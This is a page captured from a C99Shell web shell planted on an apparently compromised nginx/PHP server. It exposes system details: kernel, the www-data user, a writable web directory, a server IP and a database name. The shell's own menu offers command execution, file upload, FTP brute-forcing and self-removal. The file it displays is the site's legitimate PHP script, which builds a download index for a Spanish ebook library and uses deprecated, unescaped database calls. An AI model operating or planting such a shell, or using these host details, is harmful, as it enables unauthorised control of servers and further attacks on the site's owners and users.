!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.35 GB of 96.73 GB (86.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     recopilatorio_a_usb_global.php (6.47 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
error_reporting
(E_ALL);   
$ultimolibro=30000;



ini_set('display_errors','On');
  include 
"../frames/conn.php";     
  
$dir_fb2="../frames/recop/fb2/";
  
$dir_epub="../frames/recop/epub/";
  
$dir_mobi="../frames/recop/mobi/";  
  
          
$ep=true;
          
$fb=true;
          
$mo=true;
  foreach (
$argv as $key=>$valor){
      switch (
$valor){
          case 
"all":
              
$ep=true;
              
$fb=true;
              
$mo=true;
          break;
          case 
"epub":
              
$ep=true;
              
$fb=false;
              
$mo=false;
          break;
          case 
"fb2":
              
$fb=true;
              
$ep=false;
              
$mo=false;
          break;
          case 
"mobi":
              
$mo=true;
              
$ep=false;
              
$fb=false;
          break;
          
      }
      
      
      
      
  }

  
$sql="select count(*) as contador from libros where inftp=1" ;
  
$res=mysql_query($sql,$conn);  
  
  
$total=mysql_fetch_array($res); 
  
  
  
$sql="select * from libros where inftp=1   order by autor,titulo asc ";
  
$res2=mysql_query($sql,$conn);
  echo 
mysql_error();
  
$counter=0;
 
# echo " inicio ";
 
    
$html="<CENTER><h1>LA BIBLIOTECA DE PAPYREFB2</h1></CENTER><br><h3>";
if (
$ep){
$html.="<br>(<b>*nota</b> Se recomienda bajar los ePub con firefox o chrome, en Explorer<br>los baja como ZIP, y habr�a que cambiar la extensi�n a mano)";
}

$html.="<br>total: {$total['contador']} libros</h3><br>";
$html.="<small>para buscar, puedes usar Ctrl+F</small><br><br><table border=1>";
$html.="<tr><td bgcolor=#C0FFC0>Autor</td><td bgcolor=#C0FFC0>T�tulo</td><td bgcolor=#C0FFC0> A�o de publicaci�n</td><td bgcolor=#C0FFC0>G�nero</td><td bgcolor=#C0FFC0>Subg�nero</td>";
   
if (
$fb)$html.="<td bgcolor=#C0FFC0>Enlace FB2</td>";

if (
$ep)$html.="<td bgcolor=#C0FFC0 >Enlace ePub</td>";

if (
$mo)$html.="<td bgcolor=#C0FFC0>Enlace Mobi</td>";


$html.="<tr>";
 

  
  
  
$handle=fopen("/home/wwwroot/automatas/index.html","w+");
 
fwrite($handle$html);
  while (
$row=mysql_fetch_array($res2)){
             
$counter++;
     
 
     
$ruta_fb2=str_replace("http://papyrefb2.net","",$row['ruta']);
     
$ruta_fb2=str_replace("http://98.158.179.254","",$ruta_fb2);
     
     
     
$ruta_epub=str_replace("http://papyrefb2.net","",$row['ruta_epub']) ;
                                    
     
$ruta_mobi=str_replace("http://papyrefb2.net","",$row['ruta_mobi']);
                                                                                              
      

      
 
# echo $row['id']."zzz->".$row['autor']."->".$row['anyo']."->".$row['titulo']."->".$row['genero']."->".$row['subgenero']."->##".c."##->".$ruta_epub."->".$ruta_mobi.chr(10);
  
 
$origen_fb2="..".$ruta_fb2;
 
$limpio_fb2=str_replace("/libros/","",$ruta_fb2);
 
$limpio_fb2=str_replace("/newlibros/","",$limpio_fb2);
 
$origen_epub="..".$ruta_epub;
 
$limpio_epub=str_replace("/epub/","",$ruta_epub);
 
$origen_mobi="..".$ruta_mobi;
  
$limpio_mobi=str_replace("/mobi/","",$ruta_mobi);
 
 
#echo "$counter -------------------------------- $limpio_fb2 /  $limpio_epub /   $limpio_mobi".chr(10);
 
if (intval($counter/2)==$counter/2){
     
$colour="#E2FCFB";
 }else{
     
$colour="#F1FEFD" ;
 }
    
$volcado=
  
"<tr>
  <td bgcolor=
$colour >{$row['autor']}</td>
  <td bgcolor=
$colour >{$row['titulo']}</td>
  <td bgcolor=
$colour >{$row['anyo']}</td>
  <td bgcolor=
$colour >{$row['genero']}</td>
  <td bgcolor=
$colour >{$row['subgenero']}</td>
  "
;
  
if (
$fb)$volcado.="<td bgcolor=$colour ><a href='./fb2/".$limpio_fb2."'>FB2</a></td>";

if (
$ep)$volcado.="<td bgcolor=$colour ><a href='./epub/".$limpio_epub."'>ePub</a></td>";

if (
$mo)$volcado.="<td bgcolor=$colour ><a href='./mobi/".$limpio_mobi."'>Mobi</a></td>";
  
  
  
  

 
 
fwrite($handle$volcado);
 
 
 
//SI el libro es superior a $ultimolibro, copiamos el libro, si no, pasamos)
 
 
if ($row['id']>$ultimolibro){
 
     

     
# echo "---------------$origen_fb2 es la ruta inicial".chr(10);
    
if (!is_readable($origen_fb2)){
        echo 
chr(10)." no se encuentra $origen_fb2".chr(10);
        
//echo $sql="update libros set ruta_epub='', ruta_adfly_epub='', ruta_linkbucks_epub='' where id={$row['id']}";
        //mysql_query($sql,$conn);
        
die();
      
    }else{
    
# echo  $dir_fb2.$limpio_fb2.chr(10);
        
if (!is_readable($dir_fb2.$limpio_fb2)){
                
copy$origen_fb2,$dir_fb2.$limpio_fb2);
                echo 
"copiando fb2 desde origen: $origen_fb2 hasta ".$dir_fb2.$limpio_fb2.chr(10);
            
        }else{
         
#   echo ">>>>>>>>>>>>>>>>>$dir_fb2.$origen_fb2 OK".chr(10);
    
}
    }


     
     if (!
is_readable($origen_epub)){
      
//  echo chr(10)." no se encuentra $origen_epub".chr(10);
         
$sql="update libros set ruta_epub='', ruta_adfly_epub='', ruta_linkbucks_epub='' where id={$row['id']}";
        
#echo $sql;
        
mysql_query($sql,$conn);
      
//  die();
      
    
}else{
      
#  echo  $dir_epub.$limpio_epub.chr(10);
        
if (!is_readable($dir_epub.$limpio_epub)){
            
copy$origen_epub,$dir_epub.$limpio_epub);
             echo 
"copiando epub desde origen: $origen_epub hasta ".$dir_epub.$limpio_epub.chr(10); 
        }else{
           
# echo ">>>>>>>>>>>>>>>>>$dir_epub.$origen_epub OK".chr(10);
    
}
    }


    if (!
is_readable($origen_mobi)){
     
#   echo chr(10)." no se encuentra $origen_mobi".chr(10);
       
$sql="update libros set ruta_mobi='', ruta_adfly_mobi='', ruta_linkbucks_mobi='' where id={$row['id']}";
        
#echo $sql; 
        
mysql_query($sql,$conn);
       
// die();
      
    
}else{
      
#  echo  $dir_mobi.$limpio_mobi.chr(10);
        
if (!is_readable($dir_mobi.$limpio_mobi)){
            
copy$origen_mobi,$dir_mobi.$limpio_mobi);
             echo 
"copiando mobi  desde origen: $origen_mobi hasta ".$dir_epub.$limpio_mobi.chr(10);
        }else{
            
#echo ">>>>>>>>>>>>>>>>>$dir_mobi.$origen_mobi OK".chr(10);
    
}
    }
       
       
      echo 
$sql5="insert into papyr225_papyre.recopilatorio_usb (libro) values ({$row['id']})";
      
mysql_query($sql5,$conn);
      echo 
chr(10). $row['id'].chr(10);
   
      
  }
   echo 
$sql5="insert into papyr225_papyre.recopilatorio_usb (libro) values ({$row['id']})";
      
mysql_query($sql5,$conn);
      echo 
chr(10). $row['id'].chr(10);
  }
  
  

   
   
fwrite($handle"</table>"); 
  
fclose($handle);  
  
//echo $html;
  
  
  
  
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.004 ]--